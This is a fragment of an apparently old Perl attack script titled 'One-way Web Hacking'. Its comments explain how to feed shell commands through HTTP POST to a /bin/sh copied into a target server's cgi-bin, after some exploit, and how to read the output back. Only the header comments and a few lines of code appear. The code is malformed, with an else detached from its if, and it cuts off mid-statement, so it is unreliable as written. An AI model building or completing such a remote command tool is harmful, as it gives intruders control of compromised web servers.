One-way Web Hacking

# Able to send arbitrary commands to http://TARGET/cgi-bin/sh
# and have them executed on the server. This is possible only if
# sh is placed in cgi-bin. (perhaps after running some .. ah.. exploit)
#
# POST can send text to a back-end web program's standard input
# This program is used to feed commands to sh on a remote
# webserver via standard input, and get the output on standard
# output, back to us, via HTTP.
#
# Note: We cannot use this with a form, because forms always
# send variable=value pairs back to the back-end web program. We
# want to send commands here
#
# Things to be careful about (and which is why this program helps)
#
# a) We have to make sure that the last command we send is an "exit"
# otherwise, the command shell will not die
# on the remote server.
#
# b) Since we are sending commands via POST, we have to calculate
# the number of characters sent, and use that as a Content-length
# value.
use IO::Socket;
use IO::Handle;
if(defined($ARGV[0])) {
}
$server = $ARGV[0];
else {